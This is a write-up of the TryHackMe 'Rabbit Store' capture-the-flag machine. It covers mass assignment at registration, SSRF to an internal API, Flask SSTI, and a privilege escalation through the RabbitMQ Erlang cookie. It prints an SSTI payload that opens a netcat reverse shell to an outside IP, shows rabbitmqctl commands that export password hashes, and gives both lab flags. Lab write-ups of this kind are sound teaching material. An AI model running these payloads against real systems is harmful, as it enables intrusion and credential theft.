Rabbit Store | Writeup | TryHackMe

Rabbit Store | Writeup | TryHackMe
TryHackMe Rabbit Store image

Initial Scan

sudo nmap -sCV -vv -A 10.10.171.16
map scan report for cloudsite.thm (10.10.171.16)
Host is up, received reset ttl 60 (0.16s latency).
Scanned at xx IST for 29s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3f:da:55:0b:b3:a9:3b:09:5f:b1:db:53:5e:0b:ef:e2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBXuyWp8m+y9taS8DGHe95YNOsKZ1/LCOjNlkzNjrnqGS1sZuQV7XQT9WbK/yWAgxZNtBHdnUT6uSEZPbfEUjUw=
|   256 b7:d3:2e:a7:08:91:66:6b:30:d2:0c:f7:90:cf:9a:f4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILcGp6ztslpYtKYBl8IrBPBbvf3doadnd5CBsO+HFg5M
80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: Site doesn't have a title (text/html).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=11/18%OT=22%CT=1%CU=39997%PV=Y%DS=5%DC=T%G=Y%TM=691
OS:CA66E%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A
OS:)SEQ(SP=102%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=102%GCD=2%ISR=10E%T
OS:I=Z%CI=Z%II=I%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=
OS:M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4
OS:B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%
OS:DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=
OS:G)IE(R=Y%DFI=N%T=40%CD=S)

Two services found running:

  1. SSH
  2. HTTP

So let's explore http on port 80, as there is no info about the SSH credentials. Also, you can see that the IP address is being redirected to the domain name cloudsite.thm, add this to /etc/hosts file and continue further exploration on the domain name instead of the IP address.

Web Enumeration

Upon visiting the domain cloudsite.thm I found nothing during the enumeration except for the login/signup button, which redirects to the subdomain storage.cloudsite.thm.

Add this new subdomain to the /etc/hosts file and continue with the enumeration.

Upon visiting this subdomain, you will find a login page. Since we have no credentials for any existing user. Therefore, I want to explore the option of creating a new account. On the signup page, you need to fill in the basic details of the user email & password.

When you log in with those details, you will see a page saying Sorry, this service is only for internal users working within the organization and our clients. If you are one of our clients, please ask the administrator to activate your subscription.

Upon enumerating further, we found the jwt token on the website, and it had this payload when decrypted:

{"email":"[email protected]","subscription":"inactive","iat":xx,"exp":xx}

It means that subscription details are being stored in the DB, maybe, and are linked with the user account. However, we don't have the key for modifying this token.

So what I did was create another account and intercepted it in burpsuite to check what parameters are being passed during the account creation.

POST /api/register HTTP/1.1
Host: storage.cloudsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://storage.cloudsite.thm/register.html
Content-Type: application/json
Content-Length: 44
Origin: http://storage.cloudsite.thm
DNT: 1
Connection: keep-alive
Priority: u=0

{"email":"[email protected]","password":"test"}

We can see that the email and password are being passed here only. So I asked myself what would happen if I passed the subscription value as active. Let's try.

POST /api/register HTTP/1.1
Host: storage.cloudsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://storage.cloudsite.thm/register.html
Content-Type: application/json
Content-Length: 44
Origin: http://storage.cloudsite.thm
DNT: 1
Connection: keep-alive
Priority: u=0

{"email":"[email protected]","password":"test","subscription":"active"}
HTTP/1.1 201 Created
Date: Tue, xx GMT
Server: Apache/2.4.52 (Ubuntu)
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 42
ETag: W/"2a-nMoFx54+czTntmSLXl3mqIsZV4A"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

{"message":"User registered successfully"}

Received the response user registered successfully. That means there was no error in the backend, so go ahead and try to log in with these details.

We logged in successfully, and we now have a dashboard. We can upload the file from the system or from a URL, and also see the list of uploaded files.

Once the files are uploaded, they are renamed. I intercepted the request and response to check what was happening in the background, and nothing important was there. Tried to access those files, but nothing again. 

Then we tried with the URL-based file upload. There, we saw that whatever URL you pass to it, it will return the content of it. So what happens if we pass the URL of localhost, 127.0.0.1? Maybe some SSRF possibility. Right, so let's go ahead and try it. 

It returned an HTML page similar to the home page of cloudsite. So let's enumerate the website for all the endpoints so that we can try to exploit any endpoint that might not be accessible this way.

http://storage.cloudsite.thm/api/docs

This is the only path we are denied access to. That means that we can try to access. Let's try it.

After lots of content not-found errors, I found the actual URL, which was localhost on port 3000. There, we received a response:

Endpoints Perfectly Completed

POST Requests:
/api/register - For registering user
/api/login - For loggin in the user
/api/upload - For uploading files
/api/store-url - For uploadion files via url
/api/fetch_messeges_from_chatbot - Currently, the chatbot is under development. Once development is complete, it will be used in the future.

GET Requests:
/api/uploads/filename - To view the uploaded files
/dashboard/inactive - Dashboard for inactive user
/dashboard/active - Dashboard for active user

Note: All requests to this endpoint are sent in JSON format.

We have a new route here in this response /api/fetch_messeges_from_chatbot. Let's check it out. 

Umm. Method not allowed Let's change the method, and the Internal server error. After checking what is happening here, then found that a few things are missing in the post request, such as the content type. I had to take a look at some other walkthroughs to find this out. After fixing them…

HTTP/1.1 200 OK
Date: xx GMT
Server: Apache/2.4.52 (Ubuntu)
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 48
ETag: W/"30-HRIDikR9Rsmd3ZTyOjz4OFirGCM"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

{
  "error": "username parameter is required"
}

Response says that the username is mandatory. So let's pass that too.

POST /api/fetch_messeges_from_chatbot HTTP/1.1
Host: storage.cloudsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: http://storage.cloudsite.thm/dashboard/active
Cookie: jwt=<------ SNIP ------>
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json;charset=UTF-8
Content-Length: 24

{
	"username":"username" 
}
HTTP/1.1 200 OK
Date: xx GMT
Server: Apache/2.4.52 (Ubuntu)
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
ETag: W/"11b-jW6/mp4Ssm2PfDjm7qw4pgBW5tY-gzip"
Vary: Accept-Encoding
Content-Length: 283
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

<!DOCTYPE html>
<html lang="en">
 <head>
   <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
       <title>Greeting</title>
 </head>
 <body>
   <h1>Sorry, username, our chatbot server is currently under development.</h1>
 </body>
</html>

See that it's returning the content passed in the username parameter. That means we can perform some SSTI. To verify this we first need to check it…

To verify this, I passed {{7/0}} to it and it returned me this:

<-------------------- SNIP -------------------->
    <title>ZeroDivisionError: division by zero
 // Werkzeug Debugger</title>
    <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css">
    <link rel="shortcut icon"
        href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
    <script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script>
    <script>
      var CONSOLE_MODE = false,
          EVALEX = true,
          EVALEX_TRUSTED = false,
          SECRET = "VrergRcdamgZtRGQyHPb";
    </script>
  </head>
  <body style="background-color: #fff">
    <div class="debugger">
<h1>ZeroDivisionError</h1>
<div class="detail">
  <p class="errormsg">ZeroDivisionError: division by zero
</p 
<-------------------- SNIP -------------------->

This means that SSTI is working. But the strange thing is that the error is showing that the application is using Flask. This means that the server we are communicating with first is the Express, and the server to which fetch_messeges_from_chatbot the request is sent using Flask. Let's try with a Flask-based SSTI payload.

Initial foothold and User flag

After lots of trial and error, I found this exploit from a walkthrough that gave me an initial foothold.

"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo / tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc  10.17.24.194 9000 >/tmp/f').read() }}"

Now, since you have an initial foothold on the machine. You can get the user flag on the home directory of azrael

cat user.txt
98d3a30fa86523c580144d317be0c47e

Privilege escalation and root flag

Nothing interesting was found during the manual enumeration. Time for linpeas.
Nothing much found using Linpeas either, had to go back through multiple writeups to understand the ground of privilege escalation and how they thought…

Now we know that Erlang is installed on the target machine, which is working in conjunction with RabbitMQ. So let's get the cookie of the Erlang.

cat /var/lib/rabbitmq/.erlang.cookie
p5AbbaRGHjgocooW

Now, since we have the cookie, we can authenticate to RabbitMQ using this cookie. First, we need to check the hostname, and the best way to do this is to check the hosts file of our exploited machine.

cat /etc/hosts

127.0.0.1 localhost
127.0.1.1 forge
127.0.0.1 cloudsite.thm
127.0.0.1 storage.cloudsite.thm

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Add the forge to the /etc/hosts in your system directory, and ensure that rabbitmq-server is installed in your system.

Then I run the following commands:

Lisitng users:

sudo rabbitmqctl --node rabbit@forge --erlang-cookie "LjcwVNADblmjFPiN" list_users
Listing users ...
user	tags
The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.	[]
root	[administrator]

Exporting the password hash of the user:

sudo rabbitmqctl --node rabbit@forge --erlang-cookie "LjcwVNADblmjFPiN" export_definitions /tmp/user.json

User.json output:

cat /tmp/user.json
<----------------------- SNIP ----------------------->
        "users": [
        {
            "hashing_algorithm": "rabbit_password_hashing_sha256",
            "limits": {},
            "name": "The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.",
            "password_hash": "vyf4qvKLpShONYgEiNc6xT/5rLq+23A2RuuhEZ8N10kyN34K",
            "tags": []
        },
        {
            "hashing_algorithm": "rabbit_password_hashing_sha256",
            "limits": {},
            "name": "root",
            "password_hash": "49e6hSldHRaiYX329+ZjBSf/Lx67XEOz9uxhSBHtGU+YBzWF",
            "tags": [
                "administrator"
            ]
        }
    ],
 <----------------------- SNIP ----------------------->

Now we have the root user password hash. This hash of the password is basically base64(salt[4 bytes] + sha256(salt[4 bytes] + password)) as per the documentation.

You can decrypt this password using two ways:

  1. User cyberchef: 
    1. Select from from base64
    2. Select to hex
      Set the delimeter to none for readability.
  2. echo -n '49e6hSldHRaiYX329+ZjBSf/Lx67XEOz9uxhSBHtGU+YBzWF' | base64 -d | xxd -p -c 100

Now, take the output and remove the first 4 bytes e3d7ba85 from the output, and now you have the root user password. Use this password and get the root flag.

su root
Password: 295d1d16a2617df6f7e6630527ff2f1ebb5c43b3f6ec614811ed194f98073585
cat /root/root.txt
eabf7a0b05d3f2028f3e0465d2fd0852

Happy Hacking